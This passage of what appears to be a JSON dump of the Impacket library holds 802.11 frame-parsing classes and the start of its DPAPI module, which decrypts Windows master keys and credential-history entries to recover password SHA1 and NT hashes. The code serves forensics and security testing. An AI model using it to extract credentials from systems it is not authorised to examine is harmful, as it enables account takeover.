Exception(\"requires up to eight rates\")\n        rates_string=struct.pack('B'*qty_rates,*rates)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)\n\n    def get_vendor_specific(self):\n        \"Get the 802.11 Management Vendor Specific elements \"\\\n        \"as a list of tuples.\"\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        vs=[]\n        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)\n        try:\n            while 1:\n                s=next(gen_get_element)\n                \n                if s is None:\n                    raise Exception(\"gen_get_element salio con None!!!\")\n                \n                # OUI is 3 bytes\n                oui=s[:3]\n                data=s[3:]\n                vs.append((oui,data))\n        except StopIteration:\n            pass\n            \n        return vs\n\n    def add_vendor_specific(self, oui, data):\n        \"Set the 802.11 Management Vendor Specific element. \"\\\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        # 3 is the OUI length\n        max_data_len=255-3\n        data_len=len(data)\n        if data_len>max_data_len:\n            raise Exception(\"data allow up to %d bytes long\" % max_data_len)\n        if len(oui) > 3:\n            raise Exception(\"oui is three bytes long\")\n        \n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)\n\nclass Dot11ManagementReassociationRequest(Dot11ManagementHelper):\n    '802.11 Management Reassociation Request Frame'\n        \n    __HEADER_BASE_SIZE = 10 # minimal header size\n\n    def __init__(self, aBuffer = None):\n        header_size = self.__HEADER_BASE_SIZE\n        tail_size = 0\n        Dot11ManagementHelper.__init__(self, header_size, tail_size, aBuffer)\n\n    def get_capabilities(self):\n        'Return the 802.11 Management Reassociation Request Frame \\'Capability information\\' field. '\n        b = self.header.get_word(0, \"<\")\n        return b \n\n    def set_capabilities(self, value):\n        'Set the 802.11 Management Reassociation Request Frame \\'Capability Information\\' field' \n        # set the bits\n        nb = value & 0xFFFF\n        self.header.set_word(0, nb, \"<\")\n\n    def get_listen_interval(self):\n        'Return the 802.11 Management Reassociation Request Frame \\'Listen Interval\\' field. '\n        b = self.header.get_word(2, \"<\")\n        return b \n\n    def set_listen_interval(self, value):\n        'Set the 802.11 Management Reassociation Request Frame \\'Listen Interval\\' field' \n        self.header.set_word(2, value, \"<\")\n\n    def get_current_ap(self):\n        'Return the 802.11 Management Reassociation Request Frame \\'Current AP\\' field.'\n        return self.header.get_bytes()[4:10]\n\n    def set_current_ap(self, value):\n        'Set the 802.11 Management Reassociation Request Frame \\'Current AP\\' field'\n        for i in range(0, 6):\n            self.header.set_byte(4+i, value[i])\n\n    def get_ssid(self):\n        \"Get the 802.11 Management SSID element. \"\\\n        \"The SSID element indicates the identity of an ESS or IBSS.\"\n        return self._get_element(DOT11_MANAGEMENT_ELEMENTS.SSID)\n\n    def set_ssid(self, ssid):\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SSID,ssid)\n\n    def get_supported_rates(self, human_readable=False):\n        \"Get the 802.11 Management Supported Rates element. \"\\\n        \"Specifies up to eight rates, then an Extended Supported Rate element \"\\\n        \"shall be generated to specify the remaining supported rates.\"\\\n        \"If human_readable is True, the rates are returned in Mbit/sec\"\n        s=self._get_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES)\n        if s is None:\n            return None\n        \n        rates=struct.unpack('%dB'%len(s),s)\n        if not human_readable:\n            return rates\n            \n        rates_Mbs=tuple([(x&0x7F)*0.5 for x in rates])\n        return rates_Mbs\n\n    def set_supported_rates(self, rates):\n        \"Set the 802.11 Management Supported Rates element. \"\\\n        \"Specifies a tuple or list with up to eight rates, then an \"\\\n        \"Extended Supported Rate element shall be generated to specify \"\\\n        \"the remaining supported rates.\"\n        qty_rates=len(rates)\n        if qty_rates>8:\n            raise Exception(\"requires up to eight rates\")\n        rates_string=struct.pack('B'*qty_rates,*rates)\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.SUPPORTED_RATES,rates_string)\n\n    def get_rsn(self):\n        \"Get the 802.11 Management Robust Security Network element.\"\n        s = self._get_element(DOT11_MANAGEMENT_ELEMENTS.RSN)\n        if s is None:\n            return None\n        return s\n\n    def set_rsn(self, data):\n        \"Set the 802.11 Management Robust Security Network element.\"\n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.RSN, data)\n\n    def get_vendor_specific(self):\n        \"Get the 802.11 Management Vendor Specific elements \"\\\n        \"as a list of tuples.\"\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        vs=[]\n        gen_get_element=self._get_elements_generator(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC)\n        try:\n            while 1:\n                s=next(gen_get_element)\n                \n                if s is None:\n                    raise Exception(\"gen_get_element salio con None!!!\")\n                \n                # OUI is 3 bytes\n                oui=s[:3]\n                data=s[3:]\n                vs.append((oui,data))\n        except StopIteration:\n            pass\n            \n        return vs\n\n    def add_vendor_specific(self, oui, data):\n        \"Set the 802.11 Management Vendor Specific element. \"\\\n        \"The Vendor Specific information element is used to carry \"\\\n        \"information not defined in the standard within a single \"\\\n        \"defined format\"\n        \n        # 3 is the OUI length\n        max_data_len=255-3\n        data_len=len(data)\n\n        if data_len>max_data_len:\n            raise Exception(\"data allow up to %d bytes long\" % max_data_len)\n        if len(oui) > 3:\n            raise Exception(\"oui is three bytes long\")\n        \n        self._set_element(DOT11_MANAGEMENT_ELEMENTS.VENDOR_SPECIFIC,oui+data, replace=False)\n\nclass Dot11ManagementReassociationResponse(Dot11ManagementAssociationResponse):\n    '802.11 Management Reassociation Response Frame'\n\n    def __init__(self, aBuffer = None):\n        Dot11ManagementAssociationResponse.__init__(self, aBuffer)\n"
  },
  {
    "path": "impacket/dpapi.py",
    "content": "# Impacket - Collection of Python classes for working with network protocols.\n#\n# Copyright Fortra, LLC and its affiliated companies \n#\n# All rights reserved.\n#\n# This software is provided under a slightly modified version\n# of the Apache Software License. See the accompanying LICENSE file\n# for more information.\n#\n# Description:\n#   DPAPI and Windows Vault parsing structures and manipulation\n#\n# Author:\n#   Alberto Solino (@agsolino)\n#\n# References:\n#   All of the work done by these guys. I just adapted their work to my needs.\n#   - https://www.passcape.com/index.php?section=docsys&cmd=details&id=28\n#   - https://github.com/jordanbtucker/dpapick\n#   - https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials (and everything else Ben did)\n#   - http://blog.digital-forensics.it/2016/01/windows-revaulting.html\n#   - https://www.passcape.com/windows_password_recovery_vault_explorer\n#   -  https://www.passcape.com/windows_password_recovery_dpapi_master_key\n#\n\nfrom __future__ import division\nfrom __future__ import print_function\nimport sys\n\nfrom struct import unpack\nfrom datetime import datetime, timezone\nfrom binascii import unhexlify, hexlify\nfrom struct import pack\nfrom hashlib import pbkdf2_hmac\nfrom Cryptodome.Hash import HMAC, SHA512, SHA1, MD4\nfrom Cryptodome.Cipher import AES, DES3\nfrom Cryptodome.Util.Padding import unpad\nfrom Cryptodome.PublicKey import RSA\nfrom Cryptodome.Util.number import bytes_to_long\nfrom six import PY3\n\nfrom impacket.ese import getUnixTime\nfrom impacket.structure import Structure, hexdump\nfrom impacket.uuid import bin_to_string\nfrom impacket.dcerpc.v5.enum import Enum\nfrom impacket.dcerpc.v5.dtypes import RPC_SID\n\n# Algorithm classes\nALG_CLASS_ANY                   = (0)\nALG_CLASS_SIGNATURE             = (1 << 13)\nALG_CLASS_MSG_ENCRYPT           = (2 << 13)\nALG_CLASS_DATA_ENCRYPT          = (3 << 13)\nALG_CLASS_HASH                  = (4 << 13)\nALG_CLASS_KEY_EXCHANGE          = (5 << 13)\nALG_CLASS_ALL                   = (7 << 13)\n\n# Algorithm types\nALG_TYPE_ANY                    = (0)\nALG_TYPE_DSS                    = (1 << 9)\nALG_TYPE_RSA                    = (2 << 9)\nALG_TYPE_BLOCK                  = (3 << 9)\nALG_TYPE_STREAM                 = (4 << 9)\nALG_TYPE_DH                     = (5 << 9)\nALG_TYPE_SECURECHANNEL          = (6 << 9)\nALG_SID_ANY                     = (0)\nALG_SID_RSA_ANY                 = 0\nALG_SID_RSA_PKCS                = 1\nALG_SID_RSA_MSATWORK            = 2\nALG_SID_RSA_ENTRUST             = 3\nALG_SID_RSA_PGP                 = 4\nALG_SID_DSS_ANY                 = 0\nALG_SID_DSS_PKCS                = 1\nALG_SID_DSS_DMS                 = 2\nALG_SID_ECDSA                   = 3\n\n# Block cipher sub ids\nALG_SID_DES                     = 1\nALG_SID_3DES                    = 3\nALG_SID_DESX                    = 4\nALG_SID_IDEA                    = 5\nALG_SID_CAST                    = 6\nALG_SID_SAFERSK64               = 7\nALG_SID_SAFERSK128              = 8\nALG_SID_3DES_112                = 9\nALG_SID_CYLINK_MEK              = 12\nALG_SID_RC5                     = 13\nALG_SID_AES_128                 = 14\nALG_SID_AES_192                 = 15\nALG_SID_AES_256                 = 16\nALG_SID_AES                     = 17\nALG_SID_SKIPJACK                = 10\nALG_SID_TEK                     = 11\n\nCRYPT_MODE_CBCI                 = 6       # ANSI CBC Interleaved\nCRYPT_MODE_CFBP                 = 7       # ANSI CFB Pipelined\nCRYPT_MODE_OFBP                 = 8       # ANSI OFB Pipelined\nCRYPT_MODE_CBCOFM               = 9       # ANSI CBC + OF Masking\nCRYPT_MODE_CBCOFMI              = 10      # ANSI CBC + OFM Interleaved\n\nALG_SID_RC2                     = 2\nALG_SID_RC4                     = 1\nALG_SID_SEAL                    = 2\n\n# Diffie - Hellman sub - ids\nALG_SID_DH_SANDF                = 1\nALG_SID_DH_EPHEM                = 2\nALG_SID_AGREED_KEY_ANY          = 3\nALG_SID_KEA                     = 4\nALG_SID_ECDH                    = 5\n\n# Hash sub ids\nALG_SID_MD2                     = 1\nALG_SID_MD4                     = 2\nALG_SID_MD5                     = 3\nALG_SID_SHA                     = 4\nALG_SID_SHA1                    = 4\nALG_SID_MAC                     = 5\nALG_SID_RIPEMD                  = 6\nALG_SID_RIPEMD160               = 7\nALG_SID_SSL3SHAMD5              = 8\nALG_SID_HMAC                    = 9\nALG_SID_TLS1PRF                 = 10\nALG_SID_HASH_REPLACE_OWF        = 11\nALG_SID_SHA_256                 = 12\nALG_SID_SHA_384                 = 13\nALG_SID_SHA_512                 = 14\n\n# secure channel sub ids\nALG_SID_SSL3_MASTER             = 1\nALG_SID_SCHANNEL_MASTER_HASH    = 2\nALG_SID_SCHANNEL_MAC_KEY        = 3\nALG_SID_PCT1_MASTER             = 4\nALG_SID_SSL2_MASTER             = 5\nALG_SID_TLS1_MASTER             = 6\nALG_SID_SCHANNEL_ENC_KEY        = 7\nALG_SID_ECMQV                   = 1\n\ndef getFlags(myenum, flags):\n    return '|'.join([name for name, member in myenum.__members__.items() if member.value & flags])\n\nclass FLAGS(Enum):\n    CRYPTPROTECT_UI_FORBIDDEN = 0x1\n    CRYPTPROTECT_LOCAL_MACHINE = 0x4\n    CRYPTPROTECT_CRED_SYNC = 0x8\n    CRYPTPROTECT_AUDIT = 0x10\n    CRYPTPROTECT_VERIFY_PROTECTION = 0x40\n    CRYPTPROTECT_CRED_REGENERATE = 0x80\n    CRYPTPROTECT_SYSTEM = 0x20000000\n\n# algorithm identifier definitions\nclass ALGORITHMS(Enum):\n    CALG_MD2                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD2)\n    CALG_MD4                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD4)\n    CALG_MD5                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_MD5)\n    CALG_SHA                = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA)\n    CALG_SHA1               = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA1)\n    CALG_RSA_SIGN           = (ALG_CLASS_SIGNATURE | ALG_TYPE_RSA | ALG_SID_RSA_ANY)\n    CALG_DSS_SIGN           = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_DSS_ANY)\n    CALG_NO_SIGN            = (ALG_CLASS_SIGNATURE | ALG_TYPE_ANY | ALG_SID_ANY)\n    CALG_RSA_KEYX           = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_RSA|ALG_SID_RSA_ANY)\n    CALG_DES                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DES)\n    CALG_3DES_112           = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES_112)\n    CALG_3DES               = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_3DES)\n    CALG_DESX               = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_DESX)\n    CALG_RC2                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC2)\n    CALG_RC4                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_RC4)\n    CALG_SEAL               = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_STREAM|ALG_SID_SEAL)\n    CALG_DH_SF              = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_SANDF)\n    CALG_DH_EPHEM           = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_DH_EPHEM)\n    CALG_AGREEDKEY_ANY      = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_AGREED_KEY_ANY)\n    CALG_KEA_KEYX           = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_DH|ALG_SID_KEA)\n    CALG_HUGHES_MD5         = (ALG_CLASS_KEY_EXCHANGE|ALG_TYPE_ANY|ALG_SID_MD5)\n    CALG_SKIPJACK           = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_SKIPJACK)\n    CALG_TEK                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_TEK)\n    CALG_SSL3_SHAMD5        = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SSL3SHAMD5)\n    CALG_SSL3_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL3_MASTER)\n    CALG_SCHANNEL_MASTER_HASH   = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MASTER_HASH)\n    CALG_SCHANNEL_MAC_KEY   = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_MAC_KEY)\n    CALG_SCHANNEL_ENC_KEY   = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SCHANNEL_ENC_KEY)\n    CALG_PCT1_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_PCT1_MASTER)\n    CALG_SSL2_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_SSL2_MASTER)\n    CALG_TLS1_MASTER        = (ALG_CLASS_MSG_ENCRYPT|ALG_TYPE_SECURECHANNEL|ALG_SID_TLS1_MASTER)\n    CALG_RC5                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_RC5)\n    CALG_HMAC               = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HMAC)\n    CALG_TLS1PRF            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_TLS1PRF)\n    CALG_HASH_REPLACE_OWF   = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_HASH_REPLACE_OWF)\n    CALG_AES_128            = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_128)\n    CALG_AES_192            = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_192)\n    CALG_AES_256            = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES_256)\n    CALG_AES                = (ALG_CLASS_DATA_ENCRYPT|ALG_TYPE_BLOCK|ALG_SID_AES)\n    CALG_SHA_256            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_256)\n    CALG_SHA_384            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_384)\n    CALG_SHA_512            = (ALG_CLASS_HASH | ALG_TYPE_ANY | ALG_SID_SHA_512)\n    CALG_ECDH               = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_DH | ALG_SID_ECDH)\n    CALG_ECMQV              = (ALG_CLASS_KEY_EXCHANGE | ALG_TYPE_ANY | ALG_SID_ECMQV)\n    CALG_ECDSA              = (ALG_CLASS_SIGNATURE | ALG_TYPE_DSS | ALG_SID_ECDSA)\n\nclass CREDENTIAL_FLAGS(Enum):\n    CRED_FLAGS_PASSWORD_FOR_CERT = 0x1\n    CRED_FLAGS_PROMPT_NOW = 0x2\n    CRED_FLAGS_USERNAME_TARGET = 0x4\n    CRED_FLAGS_OWF_CRED_BLOB = 0x8\n    CRED_FLAGS_REQUIRE_CONFIRMATION = 0x10\n    CRED_FLAGS_WILDCARD_MATCH = 0x20\n    CRED_FLAGS_VSM_PROTECTED = 0x40\n    CRED_FLAGS_NGC_CERT = 0x80\n\nclass CREDENTIAL_TYPE(Enum):\n    CRED_TYPE_GENERIC = 0x1\n    CRED_TYPE_DOMAIN_PASSWORD = 0x2\n    CRED_TYPE_DOMAIN_CERTIFICATE = 0x3\n    CRED_TYPE_DOMAIN_VISIBLE_PASSWORD = 0x4\n    CRED_TYPE_GENERIC_CERTIFICATE = 0x5\n    CRED_TYPE_DOMAIN_EXTENDED = 0x6\n    CRED_TYPE_MAXIMUM = 0x7\n    CRED_TYPE_MAXIMUM_EX = 0x8\n\nclass CREDENTIAL_PERSIST(Enum):\n    CRED_PERSIST_NONE = 0x0\n    CRED_PERSIST_SESSION = 0x1\n    CRED_PERSIST_LOCAL_MACHINE = 0x2\n    CRED_PERSIST_ENTERPRISE = 0x3\n\nALGORITHMS_DATA = {\n    # Algorithm: key/SaltLen, CryptHashModule, Mode, IVLen, BlockSize\n    ALGORITHMS.CALG_SHA.value: (160//8, SHA1, None, None, 512//8),\n    ALGORITHMS.CALG_HMAC.value: (160//8, SHA512, None, None, 512//8),\n    ALGORITHMS.CALG_3DES.value: (192//8, DES3, DES3.MODE_CBC, 64//8),\n    ALGORITHMS.CALG_SHA_512.value: (128//8, SHA512, None, None, 1024//8),\n    ALGORITHMS.CALG_AES_256.value: (256//8, AES, AES.MODE_CBC, 128//8),\n}\n\nclass MasterKeyFile(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('unk1', '<L=0'),\n        ('unk2', '<L=0'),\n        ('Guid', \"72s=b''\"),\n        ('Unkown', '<L=0'),\n        ('Policy', '<L=0'),\n        ('Flags', '<L=0'),\n        ('MasterKeyLen', '<Q=0'),\n        ('BackupKeyLen', '<Q=0'),\n        ('CredHistLen', '<Q=0'),\n        ('DomainKeyLen', '<Q=0'),\n    )\n\n    def dump(self):\n        print(\"[MASTERKEYFILE]\")\n        print(\"Version     : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"Guid        : %s\" % self['Guid'].decode('utf-16le'))\n        print(\"Flags       : %8x (%d)\" % (self['Flags'], self['Flags']))\n        print(\"Policy      : %8x (%d)\" % (self['Policy'], self['Policy']))\n        print(\"MasterKeyLen: %.8x (%d)\" % (self['MasterKeyLen'], self['MasterKeyLen']))\n        print(\"BackupKeyLen: %.8x (%d)\" % (self['BackupKeyLen'], self['BackupKeyLen']))\n        print(\"CredHistLen : %.8x (%d)\" % (self['CredHistLen'], self['CredHistLen']))\n        print(\"DomainKeyLen: %.8x (%d)\" % (self['DomainKeyLen'], self['DomainKeyLen']))\n        print()\n\nclass MasterKey(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Salt', '16s=b\"\"'),\n        ('MasterKeyIterationCount', '<L=0'),\n        ('HashAlgo', \"<L=0\"),\n        ('CryptAlgo', '<L=0'),\n        ('data', ':'),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        self.decryptedKey = None\n\n    def dump(self):\n        print(\"[MASTERKEY]\")\n        print(\"Version     : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"Salt        : %s\" % hexlify(self['Salt']))\n        print(\"Rounds      : %8x (%d)\" % (self['MasterKeyIterationCount'], self['MasterKeyIterationCount']))\n        print(\"HashAlgo    : %.8x (%d) (%s)\" % (self['HashAlgo'], self['HashAlgo'], ALGORITHMS(self['HashAlgo']).name))\n        print(\"CryptAlgo   : %.8x (%d) (%s)\" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))\n        print(\"data        : %s\" % (hexlify(self['data'])))\n        print()\n\n    def deriveKey(self, passphrase, salt, keylen, count, hashFunction):\n        keyMaterial = b\"\"\n        i = 1\n        while len(keyMaterial) < keylen:\n            U = salt + pack(\"!L\", i)\n            i += 1\n            derived = bytearray(hashFunction(passphrase, U))\n            for r in range(count - 1):\n                actual = bytearray(hashFunction(passphrase, derived))\n                if PY3:\n                    derived = (int.from_bytes(derived, sys.byteorder) ^ int.from_bytes(actual, sys.byteorder)).to_bytes(len(actual), sys.byteorder)\n                else:\n                    derived = bytearray([ chr((a) ^ (b)) for (a,b) in zip(derived, actual) ])\n            keyMaterial += derived\n\n        return keyMaterial[:keylen]\n\n    def decrypt(self, key):\n        if self['HashAlgo'] == ALGORITHMS.CALG_HMAC.value:\n            hashModule = SHA1\n        else:\n            hashModule = ALGORITHMS_DATA[self['HashAlgo']][1]\n\n        prf = lambda p, s: HMAC.new(p, s, hashModule).digest()\n        derivedBlob = self.deriveKey(key, self['Salt'],\n                                    ALGORITHMS_DATA[self['CryptAlgo']][0] + ALGORITHMS_DATA[self['CryptAlgo']][3],\n                                    count=self['MasterKeyIterationCount'], hashFunction=prf)\n\n        cryptKey = derivedBlob[:ALGORITHMS_DATA[self['CryptAlgo']][0]]\n        iv = derivedBlob[ALGORITHMS_DATA[self['CryptAlgo']][0]:][:ALGORITHMS_DATA[self['CryptAlgo']][3]]\n\n        cipher = ALGORITHMS_DATA[self['CryptAlgo']][1].new(cryptKey, mode = ALGORITHMS_DATA[self['CryptAlgo']][2], iv = iv)\n        cleartext = cipher.decrypt(self['data'])\n\n        decryptedKey = cleartext[-64:]\n        hmacSalt = cleartext[:16]\n        hmac = cleartext[16:][:ALGORITHMS_DATA[self['HashAlgo']][0]]\n\n        hmacKey = HMAC.new(key, hmacSalt, hashModule).digest()\n\n        hmacCalculated = HMAC.new(hmacKey, decryptedKey, hashModule ).digest()\n\n        if hmacCalculated[:ALGORITHMS_DATA[self['HashAlgo']][0]] == hmac:\n            self.decryptedKey = decryptedKey\n            return decryptedKey\n        else:\n            return None\n\nclass CredHist(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('Guid', \"16s=b''\"),\n    )\n    def dump(self):\n        print(\"[CREDHIST]\")\n        print(\"Version       : %8x (%d)\" % (self['Version'], self['Version']))\n        print(\"Guid          : %s\" % bin_to_string(self['Guid']))\n        print()\n\nclass CREDHIST_ENTRY(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('HashAlgo', '<L=0'),\n        ('Rounds', '<L=0'),\n        ('SidLen', '<L=0'),\n        ('_Sid', '_-Sid','self[\"SidLen\"]'),\n        ('CryptAlgo', '<L=0'),\n        ('shaHashLen', '<L=0'),\n        ('ntHashLen', '<L=0'),\n        ('Salt', '16s=b'),\n        ('Sid', ':'),\n        ('_data','_-data','(self[\"shaHashLen\"]+self[\"ntHashLen\"]) + (-(self[\"shaHashLen\"]+self[\"ntHashLen\"])) % 16'),\n        ('data', ':'),\n        ('Version2', '<L=0'),\n        ('Guid', '16s=b'),\n    )\n\n    def __init__(self, data = None, alignment = 0):\n        Structure.__init__(self, data, alignment)\n        self.sid = RPC_SID(b'\\x05\\x00\\x00\\x00'+self['Sid']).formatCanonical()\n        self.pwdhash = None\n        self.nthash = None\n\n    def deriveKey(self, passphrase, salt, keylen, count, hashFunction):\n        keyMaterial = b\"\"\n        i = 1\n        while len(keyMaterial) < keylen:\n            U = salt + pack(\"!L\", i)\n            i += 1\n            derived = bytearray(hashFunction(passphrase, U))\n            for r in range(count - 1):\n                actual = bytearray(hashFunction(passphrase, derived))\n                if PY3:\n                    derived = (int.from_bytes(derived, sys.byteorder) ^ int.from_bytes(actual, sys.byteorder)).to_bytes(len(actual), sys.byteorder)\n                else:\n                    derived = bytearray([ chr((a) ^ (b)) for (a,b) in zip(derived, actual) ])\n            keyMaterial += derived\n\n        return keyMaterial[:keylen]\n\n    def decrypt(self, key):\n        if self['HashAlgo'] == ALGORITHMS.CALG_HMAC.value:\n            hashModule = SHA1\n        else:\n            hashModule = ALGORITHMS_DATA[self['HashAlgo']][1]\n\n        prf = lambda p, s: HMAC.new(p, s, hashModule).digest()\n\n        derivedBlob = self.deriveKey(key, self['Salt'], ALGORITHMS_DATA[self['CryptAlgo']][0] + ALGORITHMS_DATA[self['CryptAlgo']][3], count=self['Rounds'], hashFunction=prf)\n\n        cryptKey = derivedBlob[:ALGORITHMS_DATA[self['CryptAlgo']][0]]\n        iv = derivedBlob[ALGORITHMS_DATA[self['CryptAlgo']][0]:][:ALGORITHMS_DATA[self['CryptAlgo']][3]]\n\n        cipher = ALGORITHMS_DATA[self['CryptAlgo']][1].new(cryptKey, mode = ALGORITHMS_DATA[self['CryptAlgo']][2], iv = iv)\n        cleartext = cipher.decrypt(self['data'])\n\n        ntHashSize = 16\n        self.pwdhash = cleartext[:self['shaHashLen']]\n        self.nthash = cleartext[self['shaHashLen']:self['shaHashLen'] + ntHashSize]\n\n        if cleartext[self['shaHashLen'] + ntHashSize:] != (len(self['data']) - self['shaHashLen'] - ntHashSize) * b'\\x00':\n            self.pwdhash = None\n            self.nthash = None\n\n    def dump(self):\n        print(\"[CREDHIST ENTRY]\")\n        print(\"Version    : 0x%.8x (%d)\" % (self['Version'], self['Version']))\n        print(\"HashAlgo   : 0x%.8x (%d) (%s)\" % (self['HashAlgo'], self['HashAlgo'], ALGORITHMS(self['HashAlgo']).name))\n        print(\"Rounds     : %d\" % (self['Rounds']))\n        print(\"CryptAlgo  : 0x%.8x (%d) (%s)\" % (self['CryptAlgo'], self['CryptAlgo'], ALGORITHMS(self['CryptAlgo']).name))\n        print(\"shaHashLen : 0x%.8x (%d)\" % (self['shaHashLen'], self['shaHashLen']))\n        print(\"ntHashLen  : 0x%.8x (%d)\" % (self['ntHashLen'], self['ntHashLen']))\n        print(\"Salt       : %s\" % (hexlify(self['Salt']).decode()))\n        print('SID        : %s' % self.sid)\n        print(\"Version2   : 0x%.8x (%d)\" % (self['Version2'], self['Version2']))\n        print(\"Guid       : %s\" % bin_to_string(self['Guid']))\n        if self.pwdhash is not None and self.nthash is not None:\n            print(\"pwdHash    : %s\" % hexlify(self.pwdhash).decode())\n            print(\"ntHash     : %s\" % hexlify(self.nthash).decode())\n        else:\n            print(\"Data       : %s\" % (hexlify(self['data'])).decode())\n        print()\n\n    def summarize(self):\n        print(\"[CREDHIST ENTRY]\")\n        print(\"Guid       : %s\" % bin_to_string(self['Guid']))\n        if self.pwdhash is not None and self.nthash is not None:\n            print(\"pwdHash    : %s\" % hexlify(self.pwdhash).decode())\n            print(\"ntHash     : %s\" % hexlify(self.nthash).decode())\n        else:\n            print(\"Data       : %s\" % (hexlify(self['data'])).decode())\n        print()\n\nclass CREDHIST_FILE:\n    def __init__(self, raw):\n        self.credhist_entries = {}\n        self.credhist_entries_list = []\n\n\n        self.version = unpack('<L', raw[:4])[0]\n        self.current_guid = unpack('16s', raw[4:20])[0]\n\n        i = 0\n        next_len = unpack('<L', raw[-i-4:])[0]\n        i += 4\n        while next_len != 0:\n            ch_entry = CREDHIST_ENTRY(data=raw[-(i + next_len - 4):-i])\n            i += next_len - 4\n            self.credhist_entries[bin_to_string(ch_entry['Guid'])] = ch_entry\n            self.credhist_entries_list.append(ch_entry)\n            next_len = unpack('<L', raw[-i-4:-i])[0]\n            i += 4\n\n    def decrypt_entry_by_index(self, entry_index, key):\n        self.credhist_entries_list[entry_index].decrypt(key)\n\n    def decrypt_entry_by_guid(self, guid, key):\n        self.credhist_entries[guid].decrypt(key)\n\n    def decrypt(self, key):\n        keys = [key]\n        for i, e in enumerate(self.credhist_entries_list):\n            # Try all keys until success\n            for k in keys:\n                e.decrypt(k)\n                if e.pwdhash is not None:\n                    break\n\n            if e.pwdhash is None:\n                print('Error decrypting entry #%d' % i)\n                return\n\n            keys = deriveKeysFromUserkey(e.sid, e.pwdhash)\n\n    def dump(self):\n        print('[CREDHIST FILE]')\n        print(\"Version        : 0x%.8x (%d)\" % (self.version, self.version))\n        print(\"Current Guid   : %s\" % bin_to_string(self.current_guid))\n        print()\n        for i, e in enumerate(self.credhist_entries_list):\n            print('[Entry #%d]' % i)\n            e.dump()\n\n    def summarize(self):\n        print('[CREDHIST FILE]')\n        print(\"Version        : 0x%.8x (%d)\" % (self.version, self.version))\n        print(\"Current Guid   : %s\" % bin_to_string(self.current_guid))\n        print()\n        for i, e in enumerate(self.credhist_entries_list):\n            print('[Entry #%d]' % i)\n            e.summarize()\n\nclass DomainKey(Structure):\n    structure = (\n        ('Version', '<L=0'),\n        ('SecretLen', '<L=0'),\n        ('AccessCheckLen', '<L=0'),\n        ('Guid', \"16s=b\"\"\"),\n        ('_SecretData', '_-SecretData', 